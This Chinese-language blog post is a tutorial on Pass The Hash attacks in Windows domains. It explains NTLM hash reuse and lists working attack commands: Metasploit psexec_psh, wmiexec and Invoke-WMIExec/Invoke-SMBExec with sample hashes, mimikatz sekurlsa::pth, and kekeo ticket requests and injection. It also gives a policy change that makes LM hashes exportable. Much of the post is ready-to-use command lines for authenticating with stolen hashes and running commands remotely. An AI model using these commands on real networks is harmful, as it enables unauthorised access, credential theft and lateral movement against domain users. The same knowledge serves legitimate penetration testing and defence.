域渗透——Pass The Hash 的实现

发布于 2024-11-15 10:55:20 字数 4448 浏览 3 评论 0

0x00 前言

在之前的文章《域渗透——Pass The Hash & Pass The Key》曾介绍过 kb2871997 对 Pass The Hash 的影响。本文将站在另一个角度,介绍 Pass The Hash 的相关实现

0x01 简介

本文将要介绍以下内容:

  • Pass The Hash 的原理
  • 常用工具
  • mimikatz 中的 Pass The Hash
  • mimikatz 中的 Pass The Ticket

0x02 Pass The Hash 的原理

可参考 Wikipedia 的介绍,地址如下:https://en.wikipedia.org/wiki/Pass_the_hash

提取出关键信息:

  • 在 Windows 系统中,通常会使用 NTLM 身份认证
  • NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)
  • hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LM hash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LM hash
  • 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用 API 生成 hash 的过程)

注:mimikatz 支持导出内存中用户的 LM hash,但前提是 Windows 系统支持 LM hash,Windows Server 2008 启用 LM hash 的方法:

gpedit.msc - 计算机配置 - Windows 设置 - 安全设置 - 本地策略 - 安全选项

找到 网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值 ,选择 已禁用

系统下一次更改密码后,就能够导出 LM hash

0x03 常用工具

当我们获得某个用户的口令 hash,并且条件限定我们不去破解明文口令,实现 Pass The Hash 都有哪些工具呢?

1、Kali 下的工具

(1) meterpreter

use exploit/windows/smb/psexec_psh

(2) 工具集

位于 密码攻击 - Passing the Hash 下,如下图

Alt text

包含多种利用工具

2、Windows 系统下的工具

(1) python

wmiexec:

参考地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

exe 版本下载地址:https://github.com/maaaaz/impacket-examples-windows

注:wmiexec.py 的注释中提示"Main advantage here is it runs under the user (has to be Admin) account",经实际测试普通用户权限即可

参数实例:

wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/test1@192.168.1.1 "whoami"

wmiexec.py 的 hash 参数格式为 LMHASH:NTHASH ,由于该 Hash 来自于 Server 2008,系统默认不支持 LM hash,所以 LM hash 可以设定为任意值

(2) powershell

参考地址:https://github.com/Kevin-Robertson/Invoke-TheHash/

支持多种方式

Invoke-WMIExec:

参数实例:

Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

类似 wmiexec.py

Invoke-SMBExec:

支持 SMB1, SMB2 (2.1), and SMB signing

参数实例:

Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

通过在目标主机创建服务执行命令,所以权限为 system

Invoke-SMBClient:

支持 SMB1, SMB2 (2.1), and SMB signing

如果只有 SMB 文件共享的权限,没有远程执行权限,可以使用该脚本

支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令 hash 的权限)

(3) mimikatz

Pass-The-Hash:

实际上为 Overpass-the-hash

参数实例:

privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /ntlm:c5a237b7e9d8e708d8436b6148a25fa1

注:mimikatz 的 pth 功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程 lsass.exe 的信息

对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012,可以使用 AES keys 代替 NT hash

Pass-The-Ticket:

考虑到 mimikatz 的 pth 功能需要本地管理员权限,所以 mimikatz 也提供了不需要管理员权限的解决方法 Pass-The-Ticket

Pass-The-Ticket 需要用到 gentilkiwi 开源的另一款工具 kekeo,下载地址:https://github.com/gentilkiwi/kekeo

参数实例:

kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"

执行后生成票据 TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi

接下来导入票据:

kekeo "kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"

0x04 小结

本文列举了多种实现 Pass The Hash 的工具,欢迎补充。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

十秒萌定你

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

一梦浮鱼

文章 0 评论 0

mb_Z9jVigFL

文章 0 评论 0

伴随着你

文章 0 评论 0

耳钉梦

文章 0 评论 0

18618447101

文章 0 评论 0

蜗牛

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文